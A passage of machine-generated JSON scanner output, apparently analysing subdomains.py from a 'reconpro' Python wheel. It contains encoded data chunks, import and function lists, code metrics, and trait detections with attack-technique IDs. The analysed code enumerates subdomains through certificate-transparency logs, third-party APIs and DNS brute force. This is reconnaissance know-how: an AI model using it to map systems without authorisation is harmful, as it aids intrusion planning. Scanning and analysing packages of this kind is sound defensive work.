Ivxph+2Y3jmbJwO95(wQ5rqvpKy^wn=r[x(mo\u0026A:-P$wO#Qhd0f3BBugK=BAe]PvQTs?iV@G=AW-a.j%i^nBx-*dA:pZkarR^Ha%FjcB.\u003e\u003epz/{dAdLtmIzddc@az2CjA+P9aazbUjz6incvRG}8vrcSoBy/YsaA.:tzF78j", "ln": 2844, "col": 27, "line": 72 }, { "b": "vj=^\u003eeM%?WiB1dwdQjPMwPIu\u0026AaJNddiY9warR!EwPS6nzxKpye]kDIwPxgFazbLjaz\u0026lnzxJ$he[O*nwmop\u003cc#-QpBy/GgefG4CCYUx.3jmbJwO95(w]Rv0uU\u003cdWwO-=oBZ^xOB98BKat2=1B98B-3lQDlar\u00260Nq/)4]A3fmyvqfK(zF785z/^aow/#5kwPE", "ln": 3721, "col": 31, "line": 93 }, { "b": "zxK1yvLhXxBAh8mc)yn/dk2BPCv+!ydgcy?boV0gFz#/zawDoUzxJC9vrlGj\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z3jmbIy*?yaax9z(wn=r[x(lvSB.$YgvruBdiTM#LarR\u003cLb1lx(zdN-@By=OoBZ!)1zddc@B0a[3A=l2uatCM2awU{cpe\u0026uSz/{8gwPF#dzxJ[bA:-^2wO-$y", "ln": 3906, "col": 10, "line": 99 }, { "b": "x(4u#BrAZ?B7]D4zGDi)arR^HboV0gFz#/zaw^h\u0026y?Wx4wO#QgC{46Ax(n2n\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[%23lQDlay]4}az2CkzdN-@By=\u003ewwO+%faAIEzA:@W4iV}jqBzkVhvqGdwx(!x2B98Cdt{8oMph+2YdiHiaax9z(wn=r[x(l*WB9hqviTM#LarR^HarR\u003cLb2SK", "ln": 4559, "col": 15, "line": 118 }, { "b": "aAIaoc[bGCarR^HarR!Fz/{8gwNw}=B-8qxiV{?8v@${@BAe]Px(n2#auZ\u0026]Ef{r7arR^HarR!Jx([2hra{q-vpShMz!}\u003c!wN/\u003e8z/Nmyvr=d6z/PS8A=Tx+wO+%hzddV@Cw?IqwPz\u0026vayPslAbPVhiTM#LarR^HarR^HarUosBAIRnuVZi[zEEx[auZ\u0026]Ef}8tarR^HarR^HarUomAV/mdzdK\u00267zxK1sB-H#6B2\u003cTJarR^HarR^HarR^HarR!szxI7+B8Mhwv}x1:vq)\u0026iwPPtrvqPN83lQDlarR^HarR^HarR^HazCBgw]n-9B0aj@zE\u003e\u003coarR^HarR^HarR^HarR^HarR^Hv@Dmbx(n683lQDlarR^HarR^HarR^Hazb+rB-I52Bz\u003eJ7vqPNWAbPVhe]#eAze18uw]o56auZ\u0026+vqPM.3lQDlarR^HarR^HazbLjazb+rB-I4ox(k54B6\u0026A}ze:r5By!#hw{5irA+eQ1z^Nx\u003czdLdS3lQDlarR^HarR^HarR^Haz$R8wGTbUw{5irA+eQ1z^Nx\u003czdM{-B-.+DwNbS=arR^HarR^HarR^HarR!GA^oXMarR^HarR^HarR^HarR^HarR^HB9g@kauZ\u0026VB-.+DwIe1mB9hqvc[bGCarR^HarR^HarR^HarR!rCW\u003er7BrB1%v}xR3x(v(I3lQDlarR^HarR^HarR^HarR^HaAIWmB09Q*B7GCwdgdguarR^HarR^HarR^HarUc8w]zZ3auZ\u0026-wO@]az/5@$zE)uc3lQDlarR^HarR^HarR^Hay/tbvRGZ\u003ewg\u00261zwmoN\u003ed06JuB14CsarR^HarR^HarR^HarR!AwP}G\u003ez/]@tauZ\u0026-wO@]az/5@$zE)ucat1ZBwOb\u003e3wD", "ln": 5565, "col": 29, "line": 141 }, { "b": "BZ!)1zddc@B0$Kpzdmi%wN)j%arR^HarR^HB-7]kB.a]]Ac0c+az+Rbd0]VEazbLjaAwPszxJ$hB8L(rwN(]}z/M$mA3e\u003ejaAx8EwPPsAx(FbqefFe5dsASL3lQDlarR^HaAz4nB-Ivxq/#LWz/5]%zC\u003e4!B.(dF3lQDlarR^HarR^Hay]zcvqfQxB7Gf1e[w)qvqfQg3lQDlarR^HarR^Hao", "ln": 6508, "col": 35, "line": 166 }, { "b": "zFs9kwNxd\u003cB1vUvarR^HarR^HarR!ry*?p7wN)@Az/]@dd0ffuwId?rzF%SnzFrPediHh+Btbl*gBT\u003cZarR^HarR^Hdgcz8arR^KaMwSo\u0026/[%oq/u/0v}vXzv@=VzB7=YQLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ\u003c8FarR^HwmYu}uVQddA:@V/v@=WjxEE}ky?taseJ$pQwPRc$BAgUF3lQDlarR^HaA.ZvauZ\u0026Vb4#7uAc15[fjP3Ae]$XVkxe?je{?UJy?tqgz/5]%zHA\u003cIB-.OBBuKwWz/c:aarR^HarR^HwmoN*auZ\u0026Ozddi\u003euVGZ$B.bSod0oMDefG1By?tqwx(dB1B-Y5tarR^HarR^Hx\u003ewF#vrt{2x(+y(z/fbE3lQDlarR^HarR^HaAz4nB-IvxB7GCwdgdguarR^HarU=DC@=oParR^HarR^HarR!rzGG]kwPF$SazL$ozz2:zvpTBcwmoN*dgdguarR^HarUluv}xR3asH#Cz/dg1q+{dRwN/T?wKQSWz/NxKrc-B]mriA!AW:3RarR^HarR^HarR^HA+funA=91vwPPsH3lQDlarR^HaAIWmB2\u003eBxwPRc$BAgUfjS[/SBsnNBarR^HarR^Hw]zYjwO#QgC{3*saz2CjA+P9aiTM#LarR^HarR^HarUMgzdN6$vqH6$auZ\u0026UzGG]Ae[X:qc)ALqzdN6$vqH6$a$K\u0026Xa$i\u003cwarR^HarR^HarR!sz/M$rvqPM#x(k5hvqPN.C42ifwIe4yy?W#tb3Y1fdlm!UarR^HarR^HarR^HarR!AvqPM#jS[SJzdLtvBAh8mc[c=+B98CpA3#[Wa$i\u003cwarR^HarR^HarR^HarR!vw/$#1zdLthzE^*jx([2pa$+5Zd\u003ce[Ay?tqgz/5]%zyEQNarR^HarR^HarR^HarR^HarR^HB9g@ke[5p3c%{OawnU:\u003cvpA!:c#JEgwHP5narR^HarR^HA+funA=91vBZ/z03lQDlar@2*LZ}+TFfm^eB-H#6iV{!3A=+l0z/*8jAV\u003cwaFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ\u003c8FarR^HwmYu}uVQddA:@V/v}xX5B8V5tBy/FvB7Gf1diHiaax8\u0026[txs[bt@\u0026rnarR^HarR!HA+(\u003cYasENtarR^HarR^HarR!sb4#7uAc15[fjw*le[nEkBAqztBAz8me[n*pflP66x(!urvqYN^B3BhNzddc@j:RlYy?tqgz/5]%zHAYoarR^HarR^HarR^Hw*eNozEWH9wmYa?BZ!)1zddc@B3jR=B.8[hCYm8ewiBEvB6\u0026/[zdN=j3lQDlarR^HasNTuarR^HarR!qvrt{2jP", "ln": 6806, "col": 31, "line": 174 }, { "b": "B9g@k3jm)#arR)K\u0026/[#MLZ\u003c(Pz/{8gwJy@3wO#NmB08(4r834eB7ol0AaHEv\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFc(SaarR!qwO95(B8Mhwv}x1SwO#NmB0#9vy?taseJ$pQwPRc$BAgUF3lQDlarR^Haz2C2z!9A\u0026auZ\u0026\u0026A+]MavLhRdA=U!AADMhwwNxy)B-O%LwO+%hwn=r[x(kvbarR^HarR^HB-IpvjS[tXxMOunB2\u003e%cB7F^2v}WG8wO#NmB1RfBfjONlBzku3v{%E\u003cB3BUcDU488z!9A\u0026EiG1varR^HarR!qvrt{2jS[9GvqxBYA+flkwPI@wB-IpHaAIagw?FgtzdNTdBsvLtarR^HarR!vw/$R)ByuqaB0aj@zE\u003e\u003coarR^HarR^HarR^HA+funA=91vwPPsH3lQDlarR^HaARgtBrAZ?wmoN*e[wK6z!9Aca]", "ln": 8619, "col": 16, "line": 218 }, { "b": "wNw[?w[CQ{z*2Yjd05%ow*[\u0026Oj%i^nBx-*dA:pZkarR^HarR^HB-IpvjS[tXxMOunB2\u003e%cBzM1JvS=o{wPzZjwPxzzB-5\u003cyzGw3Zj:RlYy?tqgz/5]%zHAYoarR^HarR^HwmoN*auZ\u0026Ozddi\u003euVGZ$B.bSod0oMDefG1By?tqwx(dB1B-Y5tarR^HarR^Hx\u003ewF#vrt{2x(+y(z/fbE3lQDlarR^Hao", "ln": 9349, "col": 15, "line": 233 }, { "b": "aAIaoc[bGCarR^HarR!GA^oXMarR^HarR^HarR^HA+frmy\u0026*^.azL$ozz2:zvpTBcwmoN*dgdguarR^HarUluv}xR3asH#Cz/dg1q+{dRwN/T?wKQSWz/NxKrc-B]mriA!", "ln": 9536, "col": 19, "line": 237 }, { "b": "B-IvxB7GCwdgdguarR^HarU-FvSKNMq!p5PB98CdauZ\u0026*wPPsH3lQDlarR^HazbLjazC}ez6iLgaAz4mB.(dLxjVfkb2R#[B.(eva$K\u003cvt}3[gw/$/ex(n0lvqYN^c#@)uB.(dJay]g@Bswtzy\u0026:egtu%n%arR^HarR^HarR^HAa9^eB09Q*x(){6e]$#Fx(\u003e:EefVI=x\u003ewG4B7]JkByx5%wHInmwO\u0026$vB98BKaz2wgwGUh.3lQDlarR^HarR^HazbLjaAg+fBrCpnaAg+fBAoFIarR^HarR^HarR^HarR^HAa9^eauZ\u0026^vrcDxB98CpA40d/y\u0026sJeAWSvzarR^HarR^HarR^HarR^Hx\u003ewGbvrcDxwO#41Cwhejc)yn/as!NQwO+%hwb", "ln": 9659, "col": 16, "line": 241 }, { "b": "B-H#6uVG\u003c\u003ewnC*$d05%ow*[\u0026Oj%i^nBx-*dA:pZkarR^HarR^HB-IpvjS[tXxMOunB2\u003e%cA+P5{y?mStx(tUCwNPQ?xFi}wAbP=sv@(/TAxOnSwib6UwO+%hwn=r[x(nty3lQDlarR^Hay[]5vivYQuU%j!wNxE?ADL\u0026lBsqoLy+cYIwO+%hBzkP6z/{dJ3lQDlarR^HazCBgwmoN*azC)tph+2YiTM#LarR^HarQ", "ln": 10229, "col": 12, "line": 253 }, { "b": "x\u003eIs4A+cBz3lQDlarR^HaAIWmB2\u003eBxwPRc$BAgUfjS[/SBsnNBarR^HarR^Hw]zYjy?W=#azCZoBy/Yse]$#Fx([f9zE)(qdo!I/t@\u003c8JboR5yx(ChdwNPaXATA{iarR^HarR^HarUomAV!$dwO+)1x(k5fx(mGmB8U@fBsns:a$kLWarR^HarR^HarR^HarR^Hw[+*)wfs2Tw[+*)wg?}BAS", "ln": 10476, "col": 45, "line": 258 }, { "b": "wnSIMaz8*AAb]J4x)t4UDVJ+mw?ERjzddc@EiG1varR^HarR^HarR!GA^oXMarR^HarR^HarR^HarR^HB8LM7wPPLqwPRu\u003ewo8y4w]x8fAB-@rawM\u0026)wH[%Bz!0M]Bs]\u003cGuSx\u003c1p^)-5aAIEhyH}Puq+]+NuSf{4ml%S%3lQDlarR^HarR^HarR^HaAIWmB1Q)iwgh5fwnS?6arR^HarR^HarR^HwQ4Y@Ac9iJB8LM7wPPLqvqfp[A=k$HaAIEhyH}PuxK#j8z/NxKpG6Y5A=k$EiTM#LarR^HarR^HarR^HarUSiB8}WharR^HarR!EwPS4", "ln": 11094, "col": 15, "line": 272 }, { "b": "arR^HarR)KrDzZ]xjVf[wmPZ{zF0/fvriM1az++nwO#72B0a$awN/G#w]zYjBzbkdvQTs?ay]zcvqfP^arR^HarR^HarR^HarR^HB8LM7wPPLqwPRu\u003ewo8y4w]x8fAB-@rawM\u0026)wH[%Bz!0M]Bs]\u003cGuSx\u003c1p^)-5aAIEhyH}Puq+]+NuSf{4ml%S", "ln": 12292, "col": 11, "line": 300 }, { "b": "B8Mhwv}x1\u003evr(r\u003cv@0GlwO+%cat2=1q!p5PB98CdiTM#LarR^HarU/Ey-\u003e\u003e-c\u003c?7tarR^HarR^HarUnuxMOuniXJdgwNWo2A:@=%C4ApAA+v4nwoY+GwNPQ?xFi\u003eaCT3s\u003ey=%m2DVJ+mw?ERjzddc@Ej)5]3lQDlarR^HarR^Haz8/Az/{evB-Y=YB8L}yv@Dg1vq{p0j-$^YyH}=rw]6RGA+Pf2zEEu93lQDlarR^HasNTuarR^HarR!qvrt{2jS[9GvqxBYA+flkwPI@wB-IpHaAIagw=", "ln": 13157, "col": 10, "line": 319 }, { "b": "arR^HarR^HarR!GA^oXMarR^HarR^HarR^HarR^Hw].*baA.Zvy?WuhAa9^dwGUY7AbP=saA.ZvAa9^dwEoL5arR^HarR^HarR^HarUuoB95J/aA.ZvAa9^dwHIOqCptdTz/Z2rvqPM.arR^HarR^HarR^HwQ4Y@Ac9i\u003eCW\u003er7BzkVhiTM#LarR^HarR^HarR^HarUfjzGGPgB.7[5arR^HarR^", "ln": 13729, "col": 2, "line": 335 }, { "b": "z/{8gwNw\u003e-BZ/6ad05%ow*[\u0026Oj%i^nBx-*dA:pZkarR^HarR^HB-IpvjS[tXxMOunB2\u003e%cyisGfBy/FBvqZi%x(^/]e[]kSwn=r[x(m#BDVJ+mw?ERjzddc@Ej]U:vQ%y]vqfR2a{]CnarR^HarUi6ByupPayw$]yH{\u003c[wPq\u003c7B95*MA+)oHB7Gf1e{7/AwP8ZkdgdguarR^HarUxgay[]5vixo9awM\u0026)wJyevarR^HarR^HarR!EwPS6nzxK1iBsnNBarR^", "ln": 14209, "col": 11, "line": 346 }, { "b": "v%8*aBA}$GvqfL0d05%ow*[\u0026Oj%i^nBx-*dA:pZkarR^HarR^HB-IpvjS[tXxMOunB2\u003e%cB7F\u003c7A+PSvBAg/7y\u0026.jsz/4dzx(!wHbysGyy?tqgz/5]%zHAYoarR^HarR^HwmoN*auZ\u0026Ozddi\u003euVGZ$B.bSod0oMDefG1By?tqwx(dB1B-Y5tarR^HarR^Hx\u003ewF#vrt{2x(+y(z/fbE3lQDlarR^Hao", "ln": 14944, "col": 19, "line": 363 }, { "b": "v@Dx#B2\u003cTJarR^HarR^HarR^HarR^HarR!vA3dp^B8LM7vpS[?tqfs\u0026arR^HarR^HarR^HarR^HarR^Hx\u003ewG4A3f4pBrCpnazC!oiTM#LarR^HarR^HarR^HarR^HarR^HarUxqB1Q)uAaJ]$c#0SH3lQDlarR^HarR^Haz2!cwPh-ld06rpyH}PuxjkH=A=M8sefG1Lv@2T$e[!*pA=k$HawU{8A=M8sdlm!UarR^HarR^HarR^HarR!EwPS6nzxIX)zu", "ln": 16023, "col": 70, "line": 385 }, { "b": "r4e}wj%iKkB97ScBAgUF3lQDlar\u00260Nl${ZLz*2YjaAIWmwn=r[x(m#mC4\u003ewclUgpWx\u003ez6?vru66rb#z+B8UMdwO#16az+$eB08(vA=-{PxELLv3lQDlawuuVvpKN9CxdbhAaK5j\u0026^^moA+funA=b}vvixSfA=+(6az++kBrCHlaAIWmwn=r[x(k5mBAh8kxlbW", "ln": 17187, "col": 65, "line": 415 }, { "b": "ar\u00260Nl${ZLz*2YjaAIWmwn=r[x(m#mC4\u003ewcl@3V6vSDQkwGUP6A:@Vk3jm)#arTu?xjkp}aA}\u003cmAbYxeaMv{oaAz4nB-IwvayMylz/P@hwftY5B95Kyw/#eqvQ%y]vqfQ4B98B", "ln": 17559, "col": 4, "line": 426 } ], "depth": 1, "facts": { "imp": [ [ "", "field" ], [ "", "field" ], [ "", "field" ], [ "", "urllib.request.Request" ], [ "", "ssl.create_default_context" ], [ "", "urllib.request.urlopen" ], [ "", "resp.read" ], [ "", "re.escape" ], [ "", "m.lower" ], [ "", "re.findall" ], [ "", "sub.rstrip.lower" ], [ "", "sub.rstrip" ], [ "", "domain.lower.strip" ], [ "", "domain.lower" ], [ "", "time.monotonic" ], [ "", "list" ], [ "", "set" ], [ "", "ThreadPoolExecutor" ], [ "", "source_map.get" ], [ "", "pool.submit" ], [ "", "as_completed" ], [ "", "future.result" ], [ "", "set" ], [ "", "len" ], [ "", "combined.update" ], [ "", "len" ], [ "", "print" ], [ "", "sorted" ], [ "", "self._resolve_subdomains" ], [ "", "len" ], [ "", "r.get" ], [ "", "SubdomainResult" ], [ "", "round" ], [ "", "time.monotonic" ], [ "", "_make_request" ], [ "", "set" ], [ "", "json.loads" ], [ "", "set" ], [ "", "set" ], [ "", "entry.get" ], [ "", "name_value.split" ], [ "", "name.strip.lstrip" ], [ "", "name.strip" ], [ "", "name.endswith" ], [ "", "subs.add" ], [ "", "_fqdn_label" ], [ "", "_make_request" ], [ "", "set" ], [ "", "json.loads" ], [ "", "set" ], [ "", "set" ], [ "", "entry.get" ], [ "", "name.strip.lstrip" ], [ "", "name.strip" ], [ "", "name.endswith" ], [ "", "subs.add" ], [ "", "_fqdn_label" ], [ "", "urllib.parse.quote_plus" ], [ "", "_make_request" ], [ "", "set" ], [ "", "data.decode" ], [ "", "_extract_domain_fragments" ], [ "", "_make_request" ], [ "", "set" ], [ "", "json.loads" ], [ "", "set" ], [ "", "set" ], [ "", "result.get" ], [ "", "isinstance" ], [ "", "item.split" ], [ "", "isinstance" ], [ "", "part.strip.lower" ], [ "", "part.strip" ], [ "", "part.endswith" ], [ "", "subs.add" ], [ "", "_fqdn_label" ], [ "", "_make_request" ], [ "", "set" ], [ "", "data.decode" ], [ "", "set" ], [ "", "text.splitlines" ], [ "", "line.split" ], [ "", "field.strip.lower" ], [ "", "field.strip" ], [ "", "field.endswith" ], [ "", "subs.add" ], [ "", "_fqdn_label" ], [ "", "set" ], [ "", "socket.getaddrinfo" ], [ "", "subs.add" ], [ "", "set" ], [ "", "socket.getaddrinfo" ], [ "", "print" ], [ "", "socket.getaddrinfo" ], [ "", "socket.getaddrinfo" ], [ "", "_make_request" ], [ "", "set" ], [ "", "json.loads" ], [ "", "set" ], [ "", "set" ], [ "", "len" ], [ "", "urlparse" ], [ "", "host.endswith" ], [ "", "subs.add" ], [ "", "host.lower" ], [ "", "_make_request" ], [ "", "set" ], [ "", "json.loads" ], [ "", "set" ], [ "", "set" ], [ "", "isinstance" ], [ "", "isinstance" ], [ "", "name.endswith" ], [ "", "subs.add" ], [ "", "_fqdn_label" ], [ "", "_make_request" ], [ "", "set" ], [ "", "data.decode" ], [ "", "_extract_domain_fragments" ], [ "", "set" ], [ "", "socket.getaddrinfo" ], [ "", "ips.append" ], [ "", "ThreadPoolExecutor" ], [ "", "pool.submit" ], [ "", "as_completed" ], [ "", "future.result" ], [ "", "seen_ips.add" ], [ "", "results.append" ], [ "", "results.sort" ], [ "", "SubdomainEnumerator" ], [ "", "enum._source_crtsh" ], [ "", "sorted" ], [ "", "SubdomainEnumerator" ], [ "", "enum._source_dns_bruteforce" ], [ "", "sorted" ], [ "", "SubdomainEnumerator" ], [ "", "enum.enumerate" ], [ "", ".constants" ], [ "", ".constants.USER_AGENT" ], [ "", "Any" ], [ "", "Dict" ], [ "", "List" ], [ "", "Optional" ], [ "", "Set" ], [ "", "ThreadPoolExecutor" ], [ "", "as_completed" ], [ "", "concurrent.futures" ], [ "", "dataclass" ], [ "", "dataclasses" ], [ "", "field" ], [ "", "json" ], [ "", "re" ], [ "", "socket" ], [ "", "ssl" ], [ "", "time" ], [ "", "typing" ], [ "", "urllib.error" ], [ "", "urllib.parse" ], [ "", "urllib.request" ], [ "", "urlparse" ] ], "mbr": [ "combined.update", "data.decode", "domain.lower", "domain.lower.strip", "entry.get", "enum._source_crtsh", "enum._source_dns_bruteforce", "enum.enumerate", "field.endswith", "field.strip", "field.strip.lower", "future.result", "host.endswith", "host.lower", "ips.append", "item.split", "json.JSONDecodeError", "json.loads", "line.split", "m.lower", "name.endswith", "name.strip", "name.strip.lstrip", "name_value.split", "part.endswith", "part.strip", "part.strip.lower", "pool.submit", "r.get", "r.subdomain", "re.escape", "re.findall", "resp.read", "result.get", "result.ips", "result.subdomains", "results.append", "results.sort", "seen_ips.add", "self._resolve_subdomains", "self._source_anubis", "self._source_bufferover", "self._source_censys", "self._source_certspotter", "self._source_crtsh", "self._source_dns_bruteforce", "self._source_riddler", "self._source_securitytrails", "self._source_txt_enum", "self._source_wayback", "self.domain", "self.max_workers", "self.silent", "self.timeout", "socket.AF_UNSPEC", "socket.SOCK_STREAM", "socket.gaierror", "socket.getaddrinfo", "socket.herror", "source_map.get", "ssl.create_default_context", "sub.rstrip", "sub.rstrip.lower", "subs.add", "text.splitlines", "time.monotonic", "urllib.parse", "urllib.parse.quote_plus", "urllib.request", "urllib.request.Request", "urllib.request.urlopen", "urlparse.hostname" ], "tgt": [ "SubdomainEnumerator", "SubdomainResult", "ThreadPoolExecutor", "_extract_domain_fragments", "_fqdn_label", "_make_request", "as_completed", "combined.update", "data.decode", "domain.lower", "domain.lower.strip", "entry.get", "enum._source_crtsh", "enum._source_dns_bruteforce", "enum.enumerate", "field", "field.endswith", "field.strip", "field.strip.lower", "future.result", "host.endswith", "host.lower", "ips.append", "isinstance", "item.split", "json.loads", "len", "line.split", "list", "m.lower", "name.endswith", "name.strip", "name.strip.lstrip", "name_value.split", "part.endswith", "part.strip", "part.strip.lower", "pool.submit", "print", "r.get", "re.escape", "re.findall", "resp.read", "result.get", "results.append", "results.sort", "round", "seen_ips.add", "self._resolve_subdomains", "set", "socket.getaddrinfo", "sorted", "source_map.get", "ssl.create_default_context", "sub.rstrip", "sub.rstrip.lower", "subs.add", "text.splitlines", "time.monotonic", "urllib.parse.quote_plus", "urllib.request.Request", "urllib.request.urlopen", "urlparse" ], "funcs": [ [ "_make_request", 3096 ], [ "_extract_domain_fragments", 3527 ], [ "_fqdn_label", 3808 ], [ "__init__", 4250 ], [ "enumerate", 4760 ], [ "_source_crtsh", 7074 ], [ "_source_certspotter", 7914 ], [ "_source_censys", 8790 ], [ "_source_bufferover", 9339 ], [ "_source_riddler", 10222 ], [ "_source_dns_bruteforce", 10961 ], [ "_source_txt_enum", 11529 ], [ "_source_wayback", 13152 ], [ "_source_anubis", 14203 ], [ "_source_securitytrails", 14930 ], [ "_resolve_subdomains", 15445 ], [ "_resolve", 15719 ], [ "discover_ctlogs", 17123 ], [ "discover_dns", 17478 ], [ "discover_subdomains", 17816 ] ], "metrics": { "ast": { "op.add": 6, "op.sub": 2, "op.land": 2, "max_depth": 17, "call_count": 137, "node_count": 4421, "member_count": 72, "max_array_len": 115, "op_density.add": 0, "op_density.sub": 0, "op_density.land": 0, "max_concat_chain": 2, "member_depth_max": 3 }, "file": { "size": 18226, "entropy": 4.73 }, "text": { "lines": 446, "top_char": 101, "max_ws_run": 12, "digit_ratio": 0, "space_count": 4192, "char_entropy": 4.73, "unique_chars": 88, "top_char_null": 0, "lines_over_200": 4, "string_density": 0.45, "top_char_ratio": 0.05, "avg_line_length": 39.87, "max_line_length": 218, "non_ascii_ratio": 0.14, "empty_line_ratio": 0.16, "last_line_length": 28, "long_token_count": 16, "whitespace_ratio": 0.25, "identifier_density": 1.88, "line_length_stddev": 36.95, "normalized_string_count": 9.42, "repeated_char_sequences": 154, "suspicious_string_ratio": 0.01, "suspicious_identifier_ratio": 0.02, "normalized_unique_identifiers": 19.2 }, "binds": { "count": 91 }, "binary": { "peak_region_bytes": 6962, "peak_region_entropy": 5.05 }, "source": { "class_count": 2, "function_count": 20 }, "imports": { "count": 23, "relative": 2, "stdlib_count": 11, "stdlib_ratio": 0.48, "relative_ratio": 0.09, "third_party_count": 12, "third_party_ratio": 0.52 }, "strings": { "sql": 1, "bytes": 2745, "count": 199, "url_count": 8, "avg_length": 13.79, "max_length": 194, "avg_entropy": 2.41, "empty_count": 1, "entropy_stddev": 1.09 }, "comments": { "chars": 3516, "count": 30, "lines": 30, "to_code_ratio": 0.07 }, "functions": { "count": 22, "nested": 1, "density": 4.48, "avg_params": 1.6, "code_ratio": 0.73, "max_params": 5, "length_stddev": 12.21, "avg_name_length": 15.35, "avg_length_lines": 16.2, "max_length_lines": 55, "min_length_lines": 3, "avg_nesting_depth": 0.05, "max_nesting_depth": 1, "high_entropy_names": 5, "avg_param_name_length": 5.13 }, "identifiers": { "count": 839, "unique": 169, "avg_length": 7.95, "max_length": 25, "min_length": 1, "avg_entropy": 2.44, "reuse_ratio": 0.2, "length_stddev": 4.78, "has_digit_ratio": 0.01, "sequential_names": 4, "single_char_count": 3, "single_char_ratio": 0.02, "high_entropy_count": 11, "high_entropy_ratio": 0.07, "all_lowercase_ratio": 0.88, "all_uppercase_ratio": 0.04, "numeric_suffix_count": 1, "double_underscore_count": 2, "underscore_prefix_count": 21 } } }, "id": 94, "mol": "O₅(Dy₂Al₂CCaLa)H₆(Cm₁₀CrDb₄FOs₂Po)", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/subdomains.py", "pid": 0, "risk": 52, "sha": "29aee09a518ca5e19850b75ed28c1e09a51239c0699f59f8b5cb2c6197306b8e", "size": 18226, "traits": [ { "id": "metadata/lang/natural::lang-english--atom-1", "conf": 0.8, "crit": 1, "desc": "English function-word token \"the\"", "spans": [ [ 12340, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-2", "conf": 0.8, "crit": 1, "desc": "English function-word token \"and\"", "spans": [ [ 3205, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-5", "conf": 0.8, "crit": 1, "desc": "English function-word token \"for\"", "spans": [ [ 3770, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-6", "conf": 0.8, "crit": 1, "desc": "English function-word token \"with\"", "spans": [ [ 3380, 0 ] ] }, { "id": "micro-behaviors/communications/dns/label::python-dns-query-reference", "atk": "T1071.004", "conf": 0.9, "crit": 3, "desc": "Python DNS resolution API reference", "spans": [ [ 11158, 18 ] ] }, { "id": "micro-behaviors/communications/dns/lookup/resolver::getaddrinfo", "conf": 0.85, "crit": 3, "desc": "socket.getaddrinfo() DNS lookup", "spans": [ [ 11158, 18 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-symbol", "conf": 0.82, "crit": 3, "desc": "urllib.request.Request symbol", "spans": [ [ 3260, 22 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen-call-symbol", "conf": 0.85, "crit": 3, "desc": "Calls fully qualified urllib urlopen", "spans": [ [ 3385, 22 ] ] }, { "id": "micro-behaviors/communications/http/services/entra-directory::domain-collection-path-token", "conf": 0.92, "crit": 3, "desc": "Microsoft Graph domain collection endpoint", "spans": [ [ 14284, 8 ] ] }, { "id": "micro-behaviors/communications/http/url/query::interpolated-identifier-query-value", "conf": 0.9, "crit": 3, "desc": "URL query interpolates an identifier value", "spans": [ [ 8936, 12 ] ] }, { "id": "micro-behaviors/communications/ipc/agent-hook::agent-hooks-config-key", "conf": 0.9, "crit": 3, "desc": "AI agent hooks config key", "spans": [ [ 2046, 5 ] ] }, { "id": "micro-behaviors/communications/socket/family::socket-sock-stream-name", "atk": "T1071", "mbc": "C0001", "conf": 0.55, "crit": 3, "desc": "SOCK_STREAM constant name", "spans": [ [ 11214, 11 ] ] }, { "id": "micro-behaviors/communications/socket/ssl::python-ssl-default-context", "conf": 0.85, "crit": 3, "desc": "Python creates a default TLS context", "spans": [ [ 3334, 26 ] ] }, { "id": "micro-behaviors/crypto/certificate/transparency::crt-sh-endpoint", "conf": 0.92, "crit": 3, "desc": "crt.sh certificate lookup endpoint", "spans": [ [ 6902, 6 ] ] }, { "id": "micro-behaviors/data/control-flow/error-handling::broad-exception-return-suppression", "atk": "T1027", "mbc": "C0027", "conf": 0.86, "crit": 3, "desc": "Broad exception returns failure sentinel", "spans": [ [ 3487, 37 ] ] }, { "id": "micro-behaviors/data/control-flow/membership::not-in-membership-check", "conf": 0.3, "crit": 3, "desc": "Python not-in membership check", "spans": [ [ 16087, 17 ] ] }, { "id": "micro-behaviors/data/control-flow/membership::set-construction", "conf": 0.75, "crit": 3, "desc": "Python set() construction", "spans": [ [ 6130, 12 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::result-assignment-key", "conf": 0.4, "crit": 1, "desc": "Result field or assignment key", "spans": [ [ 2556, 0 ] ] }, { "id": 